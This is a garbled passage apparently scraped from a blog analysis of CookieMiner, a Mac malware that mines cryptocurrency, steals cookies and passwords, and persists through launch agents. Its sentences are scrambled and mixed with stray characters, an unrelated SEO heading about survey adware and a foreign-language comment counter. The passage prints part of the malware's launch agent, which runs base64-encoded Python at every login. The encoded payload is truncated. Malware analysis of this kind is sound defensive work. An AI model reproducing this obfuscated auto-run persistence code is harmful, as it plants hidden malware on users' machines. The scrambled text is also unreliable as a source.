This is not a coincidence, as (was noted in the Unit 42 report): “ has been developed from OSX.DarthMiner, a malware known to target the Mac platform”Ĭapabilities: Cryptomining, Cookie/Password Stealing, BackdoorĬookieMiner is likely the evolution of OSX.DarthMiner. (We also covered OSX.DarthMiner in our “The Mac Malware of 2018” report). This is performed during the first stage of the infection, via a shell script named uploadminer.sh:ġ 2 3 4 5 Label 6 7 ProgramArguments 8 9 python 10 -c 11 import sys,base64,warnings warnings.filterwarnings('ignore') exec(base64.b64decode(ġ2 'aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gInBzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbmlġ4 hcileU1soU1tpXStTW2pdKSUyNTZdKSkKZXhlYygnJy5qb2luKG91dCkp')) Īs the RunAtLoad key is set to true in this property list as well, the python commands will be automatically (re)executed each time the user logs in.ĭoes this look familiar? Yes! In fact this is exactly how OSX.DarthMiner persisted. …as such, CookieMiner’s infection vector remains unknown.Īs noted in Unit 42’s report, CookieMiner persists two launch agents.
#MY MAC IS INFECTED WITH A SURVEY AD SOFTWARE DOWNLOAD#
“ Jen Miller-Osborn, deputy director of Threat Intelligence for Unit 42, told Threatpost that researchers are not certain how victims are first infected by the shell script, but they suspect victims download a malicious program from a third-party store.” However, a ThreatPost writeup states that:
Unit 42 (of Palo Alto Networks) who uncovered CookieMiner and wrote the original report on the malware, made no mention the malware’s initial infection vector.
The “ malwareland” channel on the MacAdmins slack / / / and others who choose to remain unnamed.
I’d personally like to thank the following organizations, groups, and researchers for their work, analysis, & assistance! 🙏🏻
0 kommentar(er)
